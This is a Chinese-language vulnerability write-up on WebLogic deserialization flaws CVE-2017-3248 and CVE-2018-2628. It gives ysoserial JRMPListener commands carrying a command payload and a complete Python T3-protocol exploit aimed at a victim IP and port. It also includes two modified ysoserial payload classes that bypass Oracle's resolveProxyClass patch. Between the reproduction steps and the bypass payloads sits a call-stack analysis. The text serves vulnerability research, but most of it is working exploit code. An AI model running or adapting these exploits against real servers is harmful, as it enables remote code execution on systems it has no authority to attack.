weblogic漏洞分析之CVE-2017-3248 & CVE-2018-2628

CVE-2017-3248 & CVE-2018-2628

后面的漏洞就是2017-3248的绕过而已，所以poc都一样，只是使用的payload不同

本机开启JRMP服务端 -》利用T3协议发送payload使得weblogic反序列化后，开启JRMP客户端，并连接服务端 -》服务端发送exp给客户端，客户端上的DGC接收到响应即会反序列化。

详细的细节看我的另一篇文章：ysoserial payloads-JRMPClient

漏洞复现

使用ysoserial开启一个JRMP服务端监听：

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections1 "touch /tmp/success"

利用T3协议发送payload/JRMPClient：

python2 2017-3248.py 192.168.202.129 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 192.168.202.1 9999 JRMPClient

POC:

from __future__ import print_function

import binascii
import os
import socket
import sys
import time

def generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client):
    #generates ysoserial payload
    command = 'java -jar {} {} {}:{} > payload.out'.format(path_ysoserial, jrmp_client, jrmp_listener_ip, jrmp_listener_port)
    print("command: " + command)
    os.system(command)
    bin_file = open('payload.out','rb').read()
    return binascii.hexlify(bin_file)

def t3_handshake(sock, server_addr):
    sock.connect(server_addr)
    sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))
    time.sleep(1)
    sock.recv(1024)
    print('handshake successful')

def build_t3_request_object(sock, port):
    data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
    data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(dport))
    data3 = '1a7727000d3234322e323134'
    data4 = '2e312e32353461863d1d0000000078'
    for d in [data1,data2,data3,data4]:
        sock.send(d.decode('hex'))
    time.sleep(2)
    print('send request payload successful,recv length:%d'%(len(sock.recv(2048))))

def send_payload_objdata(sock, data):
    payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
    payload+=data
    payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
    payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)
    sock.send(payload.decode('hex'))
    time.sleep(2)
    sock.send(payload.decode('hex'))
    res = ''
    try:
        while True:
            res += sock.recv(4096)
            time.sleep(0.1)
    except Exception:
        pass
    return res

def exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(65)
    server_addr = (dip, dport)
    t3_handshake(sock, server_addr)
    build_t3_request_object(sock, dport)
    payload = generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client)
    print("payload: " + payload)
    rs=send_payload_objdata(sock, payload)
    print('response: ' + rs)
    print('exploit completed!')

if __name__=="__main__":
    #check for args, print usage if incorrect
    if len(sys.argv) != 7:
        print('\nUsage:\nexploit.py [victim ip] [victim port] [path to ysoserial] '
              '[JRMPListener ip] [JRMPListener port] [JRMPClient]\n')
        sys.exit()

    dip = sys.argv[1]
    dport = int(sys.argv[2])
    path_ysoserial = sys.argv[3]
    jrmp_listener_ip = sys.argv[4]
    jrmp_listener_port = sys.argv[5]
    jrmp_client = sys.argv[6]
    exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client)

漏洞分析

发送构造的proxy对象给weblogic，反序列化时候调用到其InvocationHandler的readObject方法，而这里的InvocationHandler则是RemoteObjectInvocationHandler

RemoteObjectInvocationHandler的readObject方法是调用其父类RemoteObject的readObject方法

RemoteObject#readObject中调用了UnicastRef#readExternal

跟进LiveRef.read

调用了DGCClient#registerRefs，这方法里面，产生了与JRMP服务端的交互

1.开启通信

在DGCClient#registerRefs中，有个do...while，如图第47行就是开启与JRMPListener的Socket通信

2.触发反序列化

同样在在DGCClient#registerRefs的do...whlie中，第48行就是处理服务端过来的请求，造成了反序列化

跟进DGCClient#registerRefs，在最后调用了DGCClient$EndpointEntry的makeDirtyCall方法

跟进makeDirtyCall方法，到205行，调用了DGCImpl_Stub#dirty

跟进DGCImpl_Stub#dirty（这里有个问题，这个DGCImpl_Stub其实是动态生成的类，无法调试，所以只能进源码直接看）

newCall是和 JRMPListener建立连接，write写入序列化数据，invoke用来处理服务端的数据，最后readObject来反序列化（前提是传过来的数据不是一个异常类）

然后就到了AnnotationInvocationHandler#readObject中，以下是调用栈

readObject:313, AnnotationInvocationHandler {sun.reflect.annotation}
invoke0:-1, NativeMethodAccessorImpl {sun.reflect}
invoke:39, NativeMethodAccessorImpl {sun.reflect}
invoke:25, DelegatingMethodAccessorImpl {sun.reflect}
invoke:597, Method {java.lang.reflect}
invokeReadObject:969, ObjectStreamClass {java.io}
readSerialData:1871, ObjectInputStream {java.io}
readOrdinaryObject:1775, ObjectInputStream {java.io}
readObject0:1327, ObjectInputStream {java.io}
defaultReadFields:1969, ObjectInputStream {java.io}
readSerialData:1893, ObjectInputStream {java.io}
readOrdinaryObject:1775, ObjectInputStream {java.io}
readObject0:1327, ObjectInputStream {java.io}
readObject:349, ObjectInputStream {java.io}
executeCall:225, StreamRemoteCall {sun.rmi.transport}
invoke:359, UnicastRef {sun.rmi.server}
dirty:-1, DGCImpl_Stub {sun.rmi.transport}
makeDirtyCall:342, DGCClient$EndpointEntry {sun.rmi.transport}
registerRefs:285, DGCClient$EndpointEntry {sun.rmi.transport}
registerRefs:121, DGCClient {sun.rmi.transport}
read:294, LiveRef {sun.rmi.transport}
readExternal:473, UnicastRef {sun.rmi.server}
readObject:438, RemoteObject {java.rmi.server}
invoke0:-1, NativeMethodAccessorImpl {sun.reflect}
invoke:39, NativeMethodAccessorImpl {sun.reflect}
invoke:25, DelegatingMethodAccessorImpl {sun.reflect}
invoke:597, Method {java.lang.reflect}
invokeReadObject:969, ObjectStreamClass {java.io}
readSerialData:1871, ObjectInputStream {java.io}
readOrdinaryObject:1775, ObjectInputStream {java.io}
readObject0:1327, ObjectInputStream {java.io}
defaultReadFields:1969, ObjectInputStream {java.io}
readSerialData:1893, ObjectInputStream {java.io}
readOrdinaryObject:1775, ObjectInputStream {java.io}
readObject0:1327, ObjectInputStream {java.io}
readObject:349, ObjectInputStream {java.io}
readObject:66, InboundMsgAbbrev {weblogic.rjvm}
read:38, InboundMsgAbbrev {weblogic.rjvm}
readMsgAbbrevs:283, MsgAbbrevJVMConnection {weblogic.rjvm}
init:213, MsgAbbrevInputStream {weblogic.rjvm}
dispatch:498, MsgAbbrevJVMConnection {weblogic.rjvm}
dispatch:330, MuxableSocketT3 {weblogic.rjvm.t3}
dispatch:387, BaseAbstractMuxableSocket {weblogic.socket}
readReadySocketOnce:967, SocketMuxer {weblogic.socket}
readReadySocket:899, SocketMuxer {weblogic.socket}
processSockets:130, PosixSocketMuxer {weblogic.socket}
run:29, SocketReaderRequest {weblogic.socket}
execute:42, SocketReaderRequest {weblogic.socket}
execute:145, ExecuteThread {weblogic.kernel}
run:117, ExecuteThread {weblogic.kernel}

CVE-2018-2628

漏洞复现

复现步骤和上个漏洞一样

使用ysoserial开启一个JRMP服务端监听：

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections1 "touch /tmp/success"

这里使用了修改后的ysoserial，利用java.rmi.activation.Activator类来绕过补丁，两种绕过方式看下面的分析

python2 2017-3248.py 192.168.202.129 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 192.168.202.1 9999 JRMPClient2

POC的python脚本和上一个漏洞是一样的，这里就不贴出来了

补丁分析

一般反序列操作防御resolveProxyClass和resolveClass方法重写，进行黑名单匹配，这个补丁就是重写了resolveProxyClass，对 RMI 接口类型进行了判断，判断 RMI 接口是否为java.rmi.registry.Registry，是的话抛出错误。

protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {
            String[] arr$ = interfaces;
            int len$ = interfaces.length;

            for(int i$ = 0; i$ < len$; ++i$) {
                String intf = arr$[i$];
                if (intf.equals("java.rmi.registry.Registry")) {
                    throw new InvalidObjectException("Unauthorized proxy deserialization");
                }
            }

            return super.resolveProxyClass(interfaces);

绕过方式两种：

1.取消代理proxy

取消代理proxy，不走resolveProxyClass，而去走resolveClass就可以绕过

在ysoserial攻击修改如下代码把Proxy去掉，重新打jar包，利用方式和CVE-2017-3248一样，能够绕过resolveProxyClass执行命令

package ysoserial.payloads;

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;

import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.util.Random;

/**
 *
 *
 * UnicastRef.newCall(RemoteObject, Operation[], int, long)
 * DGCImpl_Stub.dirty(ObjID[], long, Lease)
 * DGCClient$EndpointEntry.makeDirtyCall(Set<RefEntry>, long)
 * DGCClient$EndpointEntry.registerRefs(List<LiveRef>)
 * DGCClient.registerRefs(Endpoint, List<LiveRef>)
 * LiveRef.read(ObjectInput, boolean)
 * UnicastRef.readExternal(ObjectInput)
 *
 * Thread.start()
 * DGCClient$EndpointEntry.<init>(Endpoint)
 * DGCClient$EndpointEntry.lookup(Endpoint)
 * DGCClient.registerRefs(Endpoint, List<LiveRef>)
 * LiveRef.read(ObjectInput, boolean)
 * UnicastRef.readExternal(ObjectInput)
 *
 * Requires:
 * - JavaSE
 *
 * Argument:
 * - host:port to connect to, host only chooses random port (DOS if repeated many times)
 *
 * Yields:
 * * an established JRMP connection to the endpoint (if reachable)
 * * a connected RMI Registry proxy
 * * one system thread per endpoint (DOS)
 *
 * @author mbechler
 */
@SuppressWarnings ( {
    "restriction"
} )
@PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient3 extends PayloadRunner implements ObjectPayload<Registry> {

    public Object getObject (final String command ) throws Exception {

        String host;
        int port;
        int sep = command.indexOf(':');
        if ( sep < 0 ) {
            port = new Random().nextInt(65535);
            host = command;
        }
        else {
            host = command.substring(0, sep);
            port = Integer.valueOf(command.substring(sep + 1));
        }
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint(host, port);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        return ref;
    }

    public static void main ( final String[] args ) throws Exception {
        Thread.currentThread().setContextClassLoader(JRMPClient3.class.getClassLoader());
        PayloadRunner.run(JRMPClient3.class, args);
    }
}

2.寻找Registry的替代类

廖新喜的方式，java.rmi.activation.Activator来替代java.rmi.registry.Registry生成payload

package ysoserial.payloads;

import java.lang.reflect.Proxy;
//import java.rmi.registry.Registry;
import java.rmi.activation.Activator;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;

/**
 *
 *
 * UnicastRef.newCall(RemoteObject, Operation[], int, long)
 * DGCImpl_Stub.dirty(ObjID[], long, Lease)
 * DGCClient$EndpointEntry.makeDirtyCall(Set<RefEntry>, long)
 * DGCClient$EndpointEntry.registerRefs(List<LiveRef>)
 * DGCClient.registerRefs(Endpoint, List<LiveRef>)
 * LiveRef.read(ObjectInput, boolean)
 * UnicastRef.readExternal(ObjectInput)
 *
 * Thread.start()
 * DGCClient$EndpointEntry.<init>(Endpoint)
 * DGCClient$EndpointEntry.lookup(Endpoint)
 * DGCClient.registerRefs(Endpoint, List<LiveRef>)
 * LiveRef.read(ObjectInput, boolean)
 * UnicastRef.readExternal(ObjectInput)
 *
 * Requires:
 * - JavaSE
 *
 * Argument:
 * - host:port to connect to, host only chooses random port (DOS if repeated many times)
 *
 * Yields:
 * * an established JRMP connection to the endpoint (if reachable)
 * * a connected RMI Registry proxy
 * * one system thread per endpoint (DOS)
 *
 * @author avfisher
 */
@SuppressWarnings ( {
    "restriction"
} )
@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient2 extends PayloadRunner implements ObjectPayload<Activator> {

    public Object getObject (final String command ) throws Exception {

        String host;
        int port;
        int sep = command.indexOf(':');
        if ( sep < 0 ) {
            port = new Random().nextInt(65535);
            host = command;
        }
        else {
            host = command.substring(0, sep);
            port = Integer.valueOf(command.substring(sep + 1));
        }
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint(host, port);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
        Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient2.class.getClassLoader(), new Class[] {
            Activator.class
        }, obj);
        return proxy;
    }

    public static void main ( final String[] args ) throws Exception {
        Thread.currentThread().setContextClassLoader(JRMPClient2.class.getClassLoader());
        PayloadRunner.run(JRMPClient2.class, args);
    }
}